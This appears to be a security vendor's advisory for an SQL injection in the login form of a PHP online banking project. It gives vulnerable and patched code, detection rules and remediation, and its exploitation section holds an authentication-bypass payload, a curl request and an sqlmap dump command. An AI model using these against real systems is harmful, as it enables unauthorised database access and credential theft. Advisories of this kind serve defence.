CVE-2025-13276
Executive Summary
CVE-2025-13276 is a critical SQL injection vulnerability in the g33kyrash/Online-Banking-System project, affecting the /index.php file via the Username parameter. The vulnerability allows unauthenticated remote attackers to execute arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and credential theft. The exploit has been publicly released, and the vendor uses a rolling release model, meaning no specific patched version is available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild at this time, but the public PoC increases risk.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a custom PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain package security concerns apply.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Vulnerability does not affect other components.
- Confidentiality (C): High (H) – Full database read access.
- Integrity (I): High (H) – Ability to modify or delete data.
- Availability (A): High (H) – Potential for denial of service via SQL manipulation.
Threat Level: Critical. The combination of remote exploitability, no authentication, and high impact makes this a severe risk for any deployment.
Deep Dive & Mechanics
The vulnerability exists in the Username parameter of the login form in /index.php. The application fails to sanitize or parameterize user input before constructing SQL queries. An attacker can inject SQL commands by submitting a crafted Username value, such as:
' OR '1'='1' -- -
This bypasses authentication and may allow extraction of all user records, including hashed passwords, account numbers, and transaction data. The underlying code likely uses a function like:
$query = "SELECT * FROM users WHERE username = '$_POST['Username']' AND password = '$_POST['Password']'";
Without prepared statements or input validation, the attacker can manipulate the query structure.
Vulnerable vs. Patched Code
Vulnerable Code (conceptual):
<?php
$username = $_POST['Username'];
$password = $_POST['Password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);
?>
Patched Code (recommended):
<?php
$username = $_POST['Username'];
$password = $_POST['Password'];
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();
?>
The patch uses prepared statements with parameterized queries, preventing SQL injection entirely.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target running
g33kyrash/Online-Banking-System(commit 12dbfa690e5af649fb72d2e5d3674e88d6743455 or earlier). - Network access to the web interface.
Exploit Steps:
- Identify the login form at
/index.php. - Submit a POST request with a malicious
Usernameparameter.
Example using cURL:
curl -X POST http://target/index.php \
-d "Username=' OR '1'='1' -- -&Password=anything"
Example using SQLMap:
sqlmap -u "http://target/index.php" --data="Username=admin&Password=test" \
--level=5 --risk=3 --batch --dump
Expected Outcome: Successful authentication bypass and database enumeration.
Blue Team (Defense & Detection)
Immediate Actions:
- Isolate the affected server from the internet.
- Review database logs for suspicious queries (e.g.,
OR,UNION,--). - Rotate all credentials stored in the database.
- Apply input validation and prepared statements as a permanent fix.
Detection Rules: See ## Detection Engineering.
Indicators of Compromise (IOCs)
- Network:
- HTTP POST requests to
/index.phpwithUsernamecontaining SQL keywords (OR,UNION,SELECT,--,#). - Unusual database error messages in HTTP responses (e.g.,
You have an error in your SQL syntax).
- HTTP POST requests to
- Logs:
- Web server logs showing
Usernameparameter with SQL injection patterns. - Database logs showing unexpected queries from the web application user.
- Web server logs showing
- File System:
- Presence of web shells or unexpected files in the web root (post-exploitation).
- Hashes (example – not from this specific CVE):
- No specific file hashes provided; monitor for modified PHP files.
Detection Engineering
YARA Rule
rule CVE_2025_13276_SQLi_Username {
meta:
description = "Detects SQL injection attempts targeting the Username parameter in Online-Banking-System"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-13276"
strings:
$sqli1 = "Username=" nocase
$sqli2 = "' OR '" nocase
$sqli3 = "1'='1" nocase
$sqli4 = "--" nocase
$sqli5 = "UNION" nocase
$sqli6 = "SELECT" nocase
condition:
all of ($sqli*) and filesize < 10KB
}
Sigma Rule
title: CVE-2025-13276 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against the Username parameter in Online-Banking-System
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/index.php'
cs-username|contains|all:
- "'"
- "OR"
- "1"
- "="
condition: selection
falsepositives:
- Legitimate usernames containing apostrophes (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-13276 SQL Injection Attempt on Username Parameter";
flow:to_server,established;
content:"POST"; http_method;
content:"/index.php"; http_uri;
content:"Username="; http_client_body;
pcre:"/Username=[^&]*('|OR|UNION|SELECT|--)/Pi";
sid:10000001;
rev:1;
priority:1;
reference:cve,2025-13276;
)
Remediation & Mitigation
Immediate:
- Disable the application until a patch is applied.
- Implement a Web Application Firewall (WAF) rule to block SQL injection patterns in the
Usernameparameter. - Review database logs for any signs of compromise.
Long-term:
- Apply prepared statements (parameterized queries) in all database interactions.
- Enforce input validation – allow only alphanumeric characters in usernames.
- Adopt a secure coding framework (e.g., Laravel, Symfony) that inherently prevents SQLi.
- Monitor the vendor's repository for a patched commit and update immediately.
- Conduct a full security audit of the application.
Valters IT – Securing your digital assets with precision and expertise.